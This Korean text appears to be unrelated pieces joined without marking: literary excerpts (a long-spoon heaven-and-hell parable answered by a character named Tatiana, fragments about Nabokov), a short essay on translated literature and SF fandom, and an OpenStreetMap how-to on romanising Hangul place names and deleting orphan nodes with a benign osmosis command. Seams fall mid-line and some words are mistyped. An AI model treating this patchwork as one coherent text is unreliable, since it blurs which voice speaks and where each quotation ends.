페테르부르크: "한 여행자가 천사와 함께 여행을 떠났죠. 둘은 여러 층으로 된 집에 들어갔어요. 천사가 문을 하나 열자, 방 안에는 벽을 빙 둘러 길고 낮은 벤치에 사람들이 빽빽이 앉아 있었죠. 방 중앙에는 음식이 쌓인 식탁이 있었고요. 사람들은 각자 아주 긴 은 숟가락을 가지고 있었어요. 사람 키만한 숟가락이죠. 사람들은 음식을 먹으려 애썼지만 그럴 수 없었어요. 숟가락이 너무 길었기 때문에 음식이 계소ㅓㄱ 떨어졌거든요. 그래서 모두가 먹을 수 있을 만큼 음식이 충분한데도 다들 배가 고팠죠. 천사가 설명했어요. '이게 지옥입니다. 이 방 사람들은 서로를 사랑하지 않습니다. 자기가 먹으려고만 할 뿐입니다' 이윽고 천사는 여행자를 데리고 다른 방에 갔어요. 처음 방과 정확히 똑같았고, 단지 이번에는 사람들이 자기가 먹으려고 하는 대신 자기 숟가락으로 방 반대편에 있는 다른 사람들을 먹이고 있었죠. 천사가 말했어요. '이 방에서는 사람들이 다른 사람을 생각해줍니다. 그리고 그렇게 함으로서, 자신이 먹을 수 있게 되죠. 여기가 천국입니다.'"
타티아나는 잠시 생각했다. "아무런 차이도 없어요."
"차이가 없어요?"
"아무 차이 없어요. 천국과 지옥에 있는 사람들 모두 단 한 가지만을 원했어요. 자기 배를 불리는 거죠. 하지만 천국에 있는 사람들이 더 협력을 잘 했죠. 그게 다예요." 그렇게 말하고 타티아나는 소리 내어 웃었지만 나는 그럴 수 없었다. 내 표정을 보고 타티아나가 덧붙였다. "정말 미안해요, 마르기리타..."
총 맞은 할리우드 갱스터가 복도를 기어가듯 시간은 슬금슬금 다가왔다.
런던:철학과 교수가 아이에게 묻겠지. "왜 넌 존재하지?" 아이는 코걸이를 만지작거리며 대답한다. "질긴 욕망과 찢어진 콘돔 때문입니다."무엇을 읽고 있는 걸까? 이쪽으로 조금만 그걸 기울여보렴, 사랑스러운 이여... 나보코프! 그럴 줄 알았다. 저 여자에게는 뇌가 있다!언젠가 포피는 바람둥이가 피해자라고 말했다.
"왜 피해자야?"
"다른 방식으로는 여자와 소통할 능력이 없으니까.""우리는 모드 쓰인대로 사는 거야, 이 친구야. 그리고 그건 단지 우리 기억뿐만이 아니야. 우리 행동도 마찬가지라고. 우리는 자기 삶을 자기가 지배하고 있다고 생각하지만 실제로는 우리 주변에 있는 힘에 의해 미리 쓰여 있는 거야. ... 그리고 마지막 조언은... 나는 책을 끝마쳐야 하는 사람한테 전부 해주는 말인데, 나보코프는 읽지 말게. 나보코프를 읽으면 자기가 얼간이 글쟁이 같은 기분이 든다네."
원서 몇 권 읽은 것으로 자신들이 세계적인 감각을 갖고 있다고 착각하는 사람도 적잖습니다. 하지만 이제 그런 유치한 행위는 그만둘 때도 되지 않았나 하는 생각을 해봅니다. 아무리 좋은 책이라도 한국어로 번역되어 있지 않는 한, 우리로서는 그 책을 이 세상에 없는 책으로 간주해야 합니다. 역으로 말해, 이는 어느 나라 언어로 쓰였건 그것이 한국어로 번역되어 있다면, 그것은 한국문학으로 취급해야 한다는 것입니다.
읽을게 없어서 배가 고픈 나머지, 외국 SF를 부러 찾아 읽는 나같은 SF 오타쿠 및 독자 개개인은 어떠한 수상쩍은 범주(예: '우리')에도 포함되지 않지만, 세계적인 감각을 뽐내는 것을 게을리 할 생각은 아마 없을 것이다. 참고로 말하자면, 이제는 고사했다고 확신하는 과거의 한국 SF 팬덤의 찌질함은 전 세계 어디에 내놔도 손색이 없는 '국제적인 수준'이었다.
판타스틱에 BL, 백합물이 실릴까? (또는, 실린 적이 있던가?)
한글의 romanize는 node 또는 way에 name:en 태그가 없고, name 태그에 괄호 '('가 없을 때만 로마자 변환을 한다. 괄호가 있는 것은 괄호 속에 영문 표기를 했다고 가정하므로 변환 대상이 아니다.
두번째로 작업중에 실수로, 또는, 삭제하다가 프로그램이 다운 되는 등, 부지불식 간에 생긴 orphan node을 삭제한다. orphan node란 아무런 tag가 지정되어 있지 않고 way의 맴버가 아닌 node를 말한다. 이때 tag중 created_by는 별 의미가 없으므로 무시한다. tag가 지정되어 있는 node는 그게 무엇이라도 삭제하지 않는다.
일단 두 가지 작업을 위해서 남한 OSM 파일을 얻어야 하는데, cloudmade.com에서 매주 제공하는 남한 OSM 파일은 완전한 것이 아니라서(남한의 일부 영역이 잘렸다) planet.osm 파일을 직접 다뤄야 한다. cloudmade.com에는 내가 만든 south_korea.poly 파일을 보내줬다. 그들이 그걸 사용해서 남한 OSM과 IMG를 만들어주면 좋겠다. 그렇게되면 한국의 GPS 사용자들이 변환 등의 거추장 스러운 작업 없이 Garmin용 IMG 파일을 거저 다운받을 수 있게 된다.
bzcat planet-090722.osm.bz2 | osmosis.bat --rxc file="20090722-20090723.osc" --rx file=- --ac --bp file=skorea.poly.txt --wx file="korea-090723.osm"
그 다음부터는 이렇게 해서 만든 korea-*.osm에 changeset을 적용한다.
생성된 두 파일을 가지고, JOSM을 이용하던가 python으로 짠 delete 프로그램과 modify 프로그램으로 각각 OSM에 적용한다.
주의: JOSM은 way의 이름만 변경하더라도 way가 참조하는 모든 node가 기술된 'complete OSM file'만 적법하다고 인정하므로 modify된 way 태그를 업로드할 수 없다.
아무래도 이 작업을 가끔씩이나마 하는 것이 좋을 것 같다. 이번에 몇몇 산들의 트래킹 코스를 작업하면서 일일이 영문으로 토달기가 귀찮아서 일을 벌인 셈이지만 주기적으로 이런 작업을 해주면 한국 지도가 깔끔해 질 것 같다.